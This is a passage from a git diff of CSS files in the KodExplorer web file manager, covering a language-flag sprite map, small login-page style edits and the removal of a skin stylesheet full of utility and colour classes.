-88px}.lang-flag.flag-mh{background-position:-224px -88px}.lang-flag.flag-mk{background-position:-240px -88px}.lang-flag.flag-ml{background-position:0 -99px}.lang-flag.flag-mm{background-position:-16px -99px}.lang-flag.flag-mn{background-position:-32px -99px}.lang-flag.flag-mo{background-position:-48px -99px}.lang-flag.flag-mp{background-position:-64px -99px}.lang-flag.flag-mq{background-position:-80px -99px}.lang-flag.flag-mr{background-position:-96px -99px}.lang-flag.flag-ms{background-position:-112px -99px}.lang-flag.flag-mt{background-position:-128px -99px}.lang-flag.flag-mu{background-position:-144px -99px}.lang-flag.flag-mv{background-position:-160px -99px}.lang-flag.flag-mw{background-position:-176px -99px}.lang-flag.flag-mx{background-position:-192px -99px}.lang-flag.flag-my{background-position:-208px -99px}.lang-flag.flag-mz{background-position:-224px -99px}.lang-flag.flag-na{background-position:-240px -99px}.lang-flag.flag-nc{background-position:0 -110px}.lang-flag.flag-ne{background-position:-16px -110px}.lang-flag.flag-nf{background-position:-32px -110px}.lang-flag.flag-ng{background-position:-48px -110px}.lang-flag.flag-ni{background-position:-64px -110px}.lang-flag.flag-nl{background-position:-80px -110px}.lang-flag.flag-no{background-position:-96px -110px}.lang-flag.flag-np{background-position:-112px -110px}.lang-flag.flag-nr{background-position:-128px -110px}.lang-flag.flag-nu{background-position:-144px -110px}.lang-flag.flag-nz{background-position:-160px -110px}.lang-flag.flag-om{background-position:-176px -110px}.lang-flag.flag-pa{background-position:-192px -110px}.lang-flag.flag-pe{background-position:-208px -110px}.lang-flag.flag-pf{background-position:-224px -110px}.lang-flag.flag-pg{background-position:-240px -110px}.lang-flag.flag-ph{background-position:0 -121px}.lang-flag.flag-pk{background-position:-16px -121px}.lang-flag.flag-pl{background-position:-32px -121px}.lang-flag.flag-pm{background-position:-48px -121px}.lang-flag.flag-pn{background-position:-64px -121px}.lang-flag.flag-pr{background-position:-80px -121px}.lang-flag.flag-ps{background-position:-96px -121px}.lang-flag.flag-pt{background-position:-112px -121px}.lang-flag.flag-pw{background-position:-128px -121px}.lang-flag.flag-py{background-position:-144px -121px}.lang-flag.flag-qa{background-position:-160px -121px}.lang-flag.flag-re{background-position:-176px -121px}.lang-flag.flag-ro{background-position:-192px -121px}.lang-flag.flag-rs{background-position:-208px -121px}.lang-flag.flag-ru{background-position:-224px -121px}.lang-flag.flag-rw{background-position:-240px -121px}.lang-flag.flag-sa{background-position:0 -132px}.lang-flag.flag-sb{background-position:-16px -132px}.lang-flag.flag-sc{background-position:-32px -132px}.lang-flag.flag-scotland{background-position:-48px -132px}.lang-flag.flag-sd{background-position:-64px -132px}.lang-flag.flag-se{background-position:-80px -132px}.lang-flag.flag-sg{background-position:-96px -132px}.lang-flag.flag-sh{background-position:-112px -132px}.lang-flag.flag-si{background-position:-128px -132px}.lang-flag.flag-sk{background-position:-144px -132px}.lang-flag.flag-sl{background-position:-160px -132px}.lang-flag.flag-sm{background-position:-176px -132px}.lang-flag.flag-sn{background-position:-192px -132px}.lang-flag.flag-so{background-position:-208px -132px}.lang-flag.flag-somaliland{background-position:-224px -132px}.lang-flag.flag-sr{background-position:-240px -132px}.lang-flag.flag-ss{background-position:0 -143px}.lang-flag.flag-st{background-position:-16px -143px}.lang-flag.flag-sv{background-position:-32px -143px}.lang-flag.flag-sx{background-position:-48px -143px}.lang-flag.flag-sy{background-position:-64px -143px}.lang-flag.flag-sz{background-position:-80px -143px}.lang-flag.flag-tc{background-position:-96px -143px}.lang-flag.flag-td{background-position:-112px -143px}.lang-flag.flag-tf{background-position:-128px -143px}.lang-flag.flag-tg{background-position:-144px -143px}.lang-flag.flag-th{background-position:-160px -143px}.lang-flag.flag-tj{background-position:-176px -143px}.lang-flag.flag-tk{background-position:-192px -143px}.lang-flag.flag-tl{background-position:-208px -143px}.lang-flag.flag-tm{background-position:-224px -143px}.lang-flag.flag-tn{background-position:-240px -143px}.lang-flag.flag-to{background-position:0 -154px}.lang-flag.flag-tr{background-position:-16px -154px}.lang-flag.flag-tt{background-position:-32px -154px}.lang-flag.flag-tv{background-position:-48px -154px}.lang-flag.flag-tw,.lang-flag.flag-zh-TW{background-position:-64px -154px}.lang-flag.flag-tz{background-position:-80px -154px}.lang-flag.flag-ua,.lang-flag.flag-uk{background-position:-96px -154px}.lang-flag.flag-ug{background-position:-112px -154px}.lang-flag.flag-um{background-position:-128px -154px}.lang-flag.flag-us,.lang-flag.flag-en{background-position:-144px -154px}.lang-flag.flag-uy{background-position:-160px -154px}.lang-flag.flag-uz{background-position:-176px -154px}.lang-flag.flag-va{background-position:-192px -154px}.lang-flag.flag-vc{background-position:-208px -154px}.lang-flag.flag-ve{background-position:-224px -154px}.lang-flag.flag-vg{background-position:-240px -154px}.lang-flag.flag-vi{background-position:0 -165px}.lang-flag.flag-vn{background-position:-16px -165px}.lang-flag.flag-vu{background-position:-32px -165px}.lang-flag.flag-wales{background-position:-48px -165px}.lang-flag.flag-wf{background-position:-64px -165px}.lang-flag.flag-ws{background-position:-80px -165px}.lang-flag.flag-ye{background-position:-96px -165px}.lang-flag.flag-yt{background-position:-112px -165px}.lang-flag.flag-za{background-position:-128px -165px}.lang-flag.flag-zanzibar{background-position:-144px -165px}.lang-flag.flag-zm{background-position:-160px -165px}.lang-flag.flag-zw{background-position:-176px -165px} +.lang-flag{display:inline-block;width:16px;height:11px;background:#ddd url(../font/flag.png) no-repeat;margin:0 4px 0 0}.lang-flag.flag-ad{background-position:-16px 0}.lang-flag.flag-ae{background-position:-32px 0}.lang-flag.flag-af{background-position:-48px 0}.lang-flag.flag-ag{background-position:-64px 0}.lang-flag.flag-ai{background-position:-80px 0}.lang-flag.flag-al{background-position:-96px 0}.lang-flag.flag-am{background-position:-112px 0}.lang-flag.flag-an{background-position:-128px 0}.lang-flag.flag-ao{background-position:-144px 0}.lang-flag.flag-ar{background-position:-160px 0}.lang-flag.flag-as{background-position:-176px 0}.lang-flag.flag-at{background-position:-192px 0}.lang-flag.flag-au{background-position:-208px 0}.lang-flag.flag-aw{background-position:-224px 0}.lang-flag.flag-az{background-position:-240px 0}.lang-flag.flag-ba{background-position:0 -11px}.lang-flag.flag-bb{background-position:-16px -11px}.lang-flag.flag-bd{background-position:-32px -11px}.lang-flag.flag-be{background-position:-48px -11px}.lang-flag.flag-bf{background-position:-64px -11px}.lang-flag.flag-bg{background-position:-80px -11px}.lang-flag.flag-bh{background-position:-96px -11px}.lang-flag.flag-bi{background-position:-112px -11px}.lang-flag.flag-bj{background-position:-128px -11px}.lang-flag.flag-bm{background-position:-144px -11px}.lang-flag.flag-bn{background-position:-160px -11px}.lang-flag.flag-bo{background-position:-176px -11px}.lang-flag.flag-br{background-position:-192px -11px}.lang-flag.flag-bs{background-position:-208px -11px}.lang-flag.flag-bt{background-position:-224px -11px}.lang-flag.flag-bv{background-position:-240px -11px}.lang-flag.flag-bw{background-position:0 -22px}.lang-flag.flag-by{background-position:-16px -22px}.lang-flag.flag-bz{background-position:-32px -22px}.lang-flag.flag-ca{background-position:-48px -22px}.lang-flag.flag-catalonia{background-position:-64px -22px}.lang-flag.flag-cd{background-position:-80px -22px}.lang-flag.flag-cf{background-position:-96px -22px}.lang-flag.flag-cg{background-position:-112px -22px}.lang-flag.flag-ch{background-position:-128px -22px}.lang-flag.flag-ci{background-position:-144px -22px}.lang-flag.flag-ck{background-position:-160px -22px}.lang-flag.flag-cl{background-position:-176px -22px}.lang-flag.flag-cm{background-position:-192px -22px}.lang-flag.flag-cn,.lang-flag.flag-zh-CN{background-position:-208px -22px}.lang-flag.flag-co{background-position:-224px -22px}.lang-flag.flag-cr{background-position:-240px -22px}.lang-flag.flag-cu{background-position:0 -33px}.lang-flag.flag-cv{background-position:-16px -33px}.lang-flag.flag-cw{background-position:-32px -33px}.lang-flag.flag-cy{background-position:-48px -33px}.lang-flag.flag-cz,.lang-flag.flag-cs{background-position:-64px -33px}.lang-flag.flag-de{background-position:-80px -33px}.lang-flag.flag-dj{background-position:-96px -33px}.lang-flag.flag-dk,.lang-flag.flag-da{background-position:-112px -33px}.lang-flag.flag-dm{background-position:-128px -33px}.lang-flag.flag-do{background-position:-144px -33px}.lang-flag.flag-dz{background-position:-160px -33px}.lang-flag.flag-ec{background-position:-176px -33px}.lang-flag.flag-ee{background-position:-192px -33px}.lang-flag.flag-eg{background-position:-208px -33px}.lang-flag.flag-eh{background-position:-224px -33px}.lang-flag.flag-england{background-position:-240px -33px}.lang-flag.flag-er{background-position:0 -44px}.lang-flag.flag-es{background-position:-16px -44px}.lang-flag.flag-et{background-position:-32px -44px}.lang-flag.flag-eu{background-position:-48px -44px}.lang-flag.flag-fi{background-position:-64px -44px}.lang-flag.flag-fj{background-position:-80px -44px}.lang-flag.flag-fk{background-position:-96px -44px}.lang-flag.flag-fm{background-position:-112px -44px}.lang-flag.flag-fo{background-position:-128px -44px}.lang-flag.flag-fr{background-position:-144px -44px}.lang-flag.flag-ga{background-position:-160px -44px}.lang-flag.flag-gb{background-position:-176px -44px}.lang-flag.flag-gd{background-position:-192px -44px}.lang-flag.flag-ge{background-position:-208px -44px}.lang-flag.flag-gf{background-position:-224px -44px}.lang-flag.flag-gg{background-position:-240px -44px}.lang-flag.flag-gh{background-position:0 -55px}.lang-flag.flag-gi{background-position:-16px -55px}.lang-flag.flag-gl{background-position:-32px -55px}.lang-flag.flag-gm{background-position:-48px -55px}.lang-flag.flag-gn{background-position:-64px -55px}.lang-flag.flag-gp{background-position:-80px -55px}.lang-flag.flag-gq{background-position:-96px -55px}.lang-flag.flag-gr,.lang-flag.flag-el{background-position:-112px -55px}.lang-flag.flag-gs{background-position:-128px -55px}.lang-flag.flag-gt{background-position:-144px -55px}.lang-flag.flag-gu{background-position:-160px -55px}.lang-flag.flag-gw{background-position:-176px -55px}.lang-flag.flag-gy{background-position:-192px -55px}.lang-flag.flag-hk{background-position:-208px -55px}.lang-flag.flag-hm{background-position:-224px -55px}.lang-flag.flag-hn{background-position:-240px -55px}.lang-flag.flag-hr{background-position:0 -66px}.lang-flag.flag-ht{background-position:-16px -66px}.lang-flag.flag-hu{background-position:-32px -66px}.lang-flag.flag-ic{background-position:-48px -66px}.lang-flag.flag-id{background-position:-64px -66px}.lang-flag.flag-ie{background-position:-80px -66px}.lang-flag.flag-il{background-position:-96px -66px}.lang-flag.flag-im{background-position:-112px -66px}.lang-flag.flag-in{background-position:-128px -66px}.lang-flag.flag-io{background-position:-144px -66px}.lang-flag.flag-iq{background-position:-160px -66px}.lang-flag.flag-ir,.lang-flag.flag-fa{background-position:-176px -66px}.lang-flag.flag-is{background-position:-192px -66px}.lang-flag.flag-it{background-position:-208px -66px}.lang-flag.flag-je{background-position:-224px -66px}.lang-flag.flag-jm{background-position:-240px -66px}.lang-flag.flag-jo{background-position:0 -77px}.lang-flag.flag-jp,.lang-flag.flag-ja{background-position:-16px -77px}.lang-flag.flag-ke{background-position:-32px -77px}.lang-flag.flag-kg{background-position:-48px -77px}.lang-flag.flag-kh{background-position:-64px -77px}.lang-flag.flag-ki{background-position:-80px -77px}.lang-flag.flag-km{background-position:-96px -77px}.lang-flag.flag-kn{background-position:-112px -77px}.lang-flag.flag-kp{background-position:-128px -77px}.lang-flag.flag-kr,.lang-flag.flag-ko{background-position:-144px -77px}.lang-flag.flag-kurdistan{background-position:-160px -77px}.lang-flag.flag-kw{background-position:-176px -77px}.lang-flag.flag-ky{background-position:-192px -77px}.lang-flag.flag-kz{background-position:-208px -77px}.lang-flag.flag-la{background-position:-224px -77px}.lang-flag.flag-lb{background-position:-240px -77px}.lang-flag.flag-lc{background-position:0 -88px}.lang-flag.flag-li{background-position:-16px -88px}.lang-flag.flag-lk{background-position:-32px -88px}.lang-flag.flag-lr{background-position:-48px -88px}.lang-flag.flag-ls{background-position:-64px -88px}.lang-flag.flag-lt{background-position:-80px -88px}.lang-flag.flag-lu{background-position:-96px -88px}.lang-flag.flag-lv{background-position:-112px -88px}.lang-flag.flag-ly{background-position:-128px -88px}.lang-flag.flag-ma{background-position:-144px -88px}.lang-flag.flag-mc{background-position:-160px -88px}.lang-flag.flag-md{background-position:-176px -88px}.lang-flag.flag-me{background-position:-192px -88px}.lang-flag.flag-mg{background-position:-208px -88px}.lang-flag.flag-mh{background-position:-224px -88px}.lang-flag.flag-mk{background-position:-240px -88px}.lang-flag.flag-ml{background-position:0 -99px}.lang-flag.flag-mm{background-position:-16px -99px}.lang-flag.flag-mn{background-position:-32px -99px}.lang-flag.flag-mo{background-position:-48px -99px}.lang-flag.flag-mp{background-position:-64px -99px}.lang-flag.flag-mq{background-position:-80px -99px}.lang-flag.flag-mr{background-position:-96px -99px}.lang-flag.flag-ms{background-position:-112px -99px}.lang-flag.flag-mt{background-position:-128px -99px}.lang-flag.flag-mu{background-position:-144px -99px}.lang-flag.flag-mv{background-position:-160px -99px}.lang-flag.flag-mw{background-position:-176px -99px}.lang-flag.flag-mx{background-position:-192px -99px}.lang-flag.flag-my{background-position:-208px -99px}.lang-flag.flag-mz{background-position:-224px -99px}.lang-flag.flag-na{background-position:-240px -99px}.lang-flag.flag-nc{background-position:0 -110px}.lang-flag.flag-ne{background-position:-16px -110px}.lang-flag.flag-nf{background-position:-32px -110px}.lang-flag.flag-ng{background-position:-48px -110px}.lang-flag.flag-ni{background-position:-64px -110px}.lang-flag.flag-nl{background-position:-80px -110px}.lang-flag.flag-no{background-position:-96px -110px}.lang-flag.flag-np{background-position:-112px -110px}.lang-flag.flag-nr{background-position:-128px -110px}.lang-flag.flag-nu{background-position:-144px -110px}.lang-flag.flag-nz{background-position:-160px -110px}.lang-flag.flag-om{background-position:-176px -110px}.lang-flag.flag-pa{background-position:-192px -110px}.lang-flag.flag-pe{background-position:-208px -110px}.lang-flag.flag-pf{background-position:-224px -110px}.lang-flag.flag-pg{background-position:-240px -110px}.lang-flag.flag-ph{background-position:0 -121px}.lang-flag.flag-pk{background-position:-16px -121px}.lang-flag.flag-pl{background-position:-32px -121px}.lang-flag.flag-pm{background-position:-48px -121px}.lang-flag.flag-pn{background-position:-64px -121px}.lang-flag.flag-pr{background-position:-80px -121px}.lang-flag.flag-ps{background-position:-96px -121px}.lang-flag.flag-pt{background-position:-112px -121px}.lang-flag.flag-pw{background-position:-128px -121px}.lang-flag.flag-py{background-position:-144px -121px}.lang-flag.flag-qa{background-position:-160px -121px}.lang-flag.flag-re{background-position:-176px -121px}.lang-flag.flag-ro{background-position:-192px -121px}.lang-flag.flag-rs{background-position:-208px -121px}.lang-flag.flag-ru{background-position:-224px -121px}.lang-flag.flag-rw{background-position:-240px -121px}.lang-flag.flag-sa{background-position:0 -132px}.lang-flag.flag-sb{background-position:-16px -132px}.lang-flag.flag-sc{background-position:-32px -132px}.lang-flag.flag-scotland{background-position:-48px -132px}.lang-flag.flag-sd{background-position:-64px -132px}.lang-flag.flag-se{background-position:-80px -132px}.lang-flag.flag-sg{background-position:-96px -132px}.lang-flag.flag-sh{background-position:-112px -132px}.lang-flag.flag-si{background-position:-128px -132px}.lang-flag.flag-sk{background-position:-144px -132px}.lang-flag.flag-sl{background-position:-160px -132px}.lang-flag.flag-sm{background-position:-176px -132px}.lang-flag.flag-sn{background-position:-192px -132px}.lang-flag.flag-so{background-position:-208px -132px}.lang-flag.flag-somaliland{background-position:-224px -132px}.lang-flag.flag-sr{background-position:-240px -132px}.lang-flag.flag-ss{background-position:0 -143px}.lang-flag.flag-st{background-position:-16px -143px}.lang-flag.flag-sv{background-position:-32px -143px}.lang-flag.flag-sx{background-position:-48px -143px}.lang-flag.flag-sy{background-position:-64px -143px}.lang-flag.flag-sz{background-position:-80px -143px}.lang-flag.flag-tc{background-position:-96px -143px}.lang-flag.flag-td{background-position:-112px -143px}.lang-flag.flag-tf{background-position:-128px -143px}.lang-flag.flag-tg{background-position:-144px -143px}.lang-flag.flag-th{background-position:-160px -143px}.lang-flag.flag-tj{background-position:-176px -143px}.lang-flag.flag-tk{background-position:-192px -143px}.lang-flag.flag-tl{background-position:-208px -143px}.lang-flag.flag-tm{background-position:-224px -143px}.lang-flag.flag-tn{background-position:-240px -143px}.lang-flag.flag-to{background-position:0 -154px}.lang-flag.flag-tr{background-position:-16px -154px}.lang-flag.flag-tt{background-position:-32px -154px}.lang-flag.flag-tv{background-position:-48px -154px}.lang-flag.flag-tw,.lang-flag.flag-zh-TW{background-position:-208px -22px}.lang-flag.flag-tz{background-position:-80px -154px}.lang-flag.flag-ua,.lang-flag.flag-uk{background-position:-96px -154px}.lang-flag.flag-ug{background-position:-112px -154px}.lang-flag.flag-um{background-position:-128px -154px}.lang-flag.flag-us,.lang-flag.flag-en{background-position:-144px -154px}.lang-flag.flag-uy{background-position:-160px -154px}.lang-flag.flag-uz{background-position:-176px -154px}.lang-flag.flag-va{background-position:-192px -154px}.lang-flag.flag-vc{background-position:-208px -154px}.lang-flag.flag-ve{background-position:-224px -154px}.lang-flag.flag-vg{background-position:-240px -154px}.lang-flag.flag-vi{background-position:0 -165px}.lang-flag.flag-vn{background-position:-16px -165px}.lang-flag.flag-vu{background-position:-32px -165px}.lang-flag.flag-wales{background-position:-48px -165px}.lang-flag.flag-wf{background-position:-64px -165px}.lang-flag.flag-ws{background-position:-80px -165px}.lang-flag.flag-ye{background-position:-96px -165px}.lang-flag.flag-yt{background-position:-112px -165px}.lang-flag.flag-za{background-position:-128px -165px}.lang-flag.flag-zanzibar{background-position:-144px -165px}.lang-flag.flag-zm{background-position:-160px -165px}.lang-flag.flag-zw{background-position:-176px -165px} /* FONT AWESOME CORE * -------------------------- */ diff --git a/static/style/login.css b/static/style/login.css index 444ffa9..528ec74 100755 --- a/static/style/login.css +++ b/static/style/login.css @@ -24,7 +24,7 @@ a{text-decoration:none;color: #adf;} position: fixed;left:45%;top:40%;font-size:1.25em;z-index: 999999;width: auto; } .init-loading div{ - padding: 20px;background:#000;opacity:0.6; + padding: 20px;background:#fff;opacity:0.7; margin: 0 auto; color: #FFF;border-radius: 6px; text-align: center;line-height: 30px; @@ -40,6 +40,7 @@ a{text-decoration:none;color: #adf;} background-size: cover; right: 0px;top: 0px; bottom: 0px;left: 0px; } + .aero{} .aero:before{ position: absolute; @@ -121,7 +122,6 @@ a{text-decoration:none;color: #adf;} border-bottom-left-radius: 2px; border-top-left-radius: 2px; } -.inputs .check-code{margin-bottom: 0;} .inputs .check-code input{ width:127px;color:#666; border-radius: 2px 0 0 2px; diff --git a/static/style/skin/alpha_image.css b/static/style/skin/alpha_image.css index b0e42ef..ecdd97a 100755 --- a/static/style/skin/alpha_image.css +++ b/static/style/skin/alpha_image.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.9689] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pin